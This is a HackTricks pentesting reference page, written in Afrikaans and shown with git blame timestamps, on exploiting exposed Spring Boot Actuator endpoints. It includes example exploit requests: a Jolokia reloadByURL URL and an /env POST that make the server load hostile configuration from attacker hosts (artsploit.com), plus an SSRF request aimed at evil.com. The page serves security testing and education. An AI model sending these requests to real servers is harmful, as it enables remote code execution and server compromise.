hacktricks/network-services-pentesting/pentesting-web/spring-actuators.md

88 lines
5.6 KiB
Markdown
Raw Normal View History

2022-10-10 09:20:50 +00:00
# Spring Actuators
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2023-12-31 01:24:39 +00:00
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
2024-02-11 02:07:06 +00:00
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
2022-04-28 16:01:33 +00:00
</details>
2023-03-02 18:08:43 +00:00
## **Spring Auth Bypass**
<figure><img src="../../.gitbook/assets/image (924).png" alt=""><figcaption></figcaption></figure>
2023-03-02 18:08:43 +00:00
2024-02-11 02:07:06 +00:00
**Vanaf** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\*
2020-10-15 10:27:50 +00:00
## Exploiting Spring Boot Actuators
2020-10-15 10:27:50 +00:00
**Kyk na die oorspronklike pos vanaf** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
2023-03-02 18:08:43 +00:00
### **Sleutelpunte:**
2020-10-15 10:27:50 +00:00
* Spring Boot Actuators registreer eindpunte soos `/health`, `/trace`, `/beans`, `/env`, ens. In weergawes 1 tot 1.4 is hierdie eindpunte toeganklik sonder verifikasie. Vanaf weergawe 1.5 aan, is slegs `/health` en `/info` nie sensitief standaard nie, maar ontwikkelaars skakel hierdie sekuriteit dikwels af.
* Sekere Actuator-eindpunte kan sensitiewe data blootstel of skadelike aksies toelaat:
* `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, en `/heapdump`.
* In Spring Boot 1.x word actuators geregistreer onder die hoof-URL, terwyl dit in 2.x onder die `/actuator/` basispad is.
2020-10-15 10:27:50 +00:00
2024-02-11 02:07:06 +00:00
### **Uitbuitingstegnieke:**
2020-10-15 10:27:50 +00:00
1. **Verre Kode-uitvoering via '/jolokia'**:
* Die `/jolokia` actuator-eindpunt blootstel die Jolokia-biblioteek, wat HTTP-toegang tot MBeans moontlik maak.
* Die `reloadByURL`-aksie kan uitgebuit word om logkonfigurasies vanaf 'n eksterne URL te herlaai, wat kan lei tot blinde XXE of Verre Kode-uitvoering via saamgestelde XML-konfigurasies.
* Voorbeeld-uitbuiting-URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
2. **Konfigurasiewysiging via '/env'**:
* As Spring Cloud Biblioteke teenwoordig is, laat die `/env`-eindpunt die wysiging van omgewings-eienskappe toe.
* Eienskappe kan gemanipuleer word om kwesbaarhede uit te buit, soos die XStream deserialisasie-kwesbaarheid in die Eureka serviceURL.
* Voorbeeld-uitbuiting POST-versoek:
2020-10-15 10:27:50 +00:00
2024-02-11 02:07:06 +00:00
```
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
2020-10-15 10:27:50 +00:00
2024-02-11 02:07:06 +00:00
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
```
3. **Ander Nuttige Instellings**:
* Eienskappe soos `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, en `spring.datasource.tomcat.max-active` kan gemanipuleer word vir verskeie uitbuitings, soos SQL-inspuiting of die verandering van databasisverbindingstrengs.
2020-10-15 10:27:50 +00:00
2024-02-11 02:07:06 +00:00
### **Addisionele Inligting:**
2020-10-15 10:27:50 +00:00
* 'n Omvattende lys van verstek actuators kan hier gevind word [hier](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
* Die `/env`-eindpunt in Spring Boot 2.x gebruik JSON-formaat vir eienskapsverandering, maar die algemene konsep bly dieselfde.
2020-10-15 10:27:50 +00:00
2024-02-11 02:07:06 +00:00
### **Verwante Onderwerpe:**
2020-10-15 10:27:50 +00:00
2024-02-04 16:10:29 +00:00
1. **Env + H2 RCE**:
* Besonderhede oor die uitbuiting van die kombinasie van `/env`-eindpunt en H2-databasis kan hier gevind word [hier](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
2. **SSRF op Spring Boot deur Verkeerde Padnaaminterpretasie**:
* Die hantering van matriksparameters (`;`) in HTTP-padname deur die Spring-raamwerk kan uitgebuit word vir Bedienerkant Aanvraagvergiffenis (SSRF).
* Voorbeeld-uitbuitingsversoek:
2020-10-15 10:27:50 +00:00
2024-02-11 02:07:06 +00:00
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```
2020-10-15 10:27:50 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2023-12-31 01:24:39 +00:00
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
2024-02-11 02:07:06 +00:00
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
2022-04-28 16:01:33 +00:00
</details>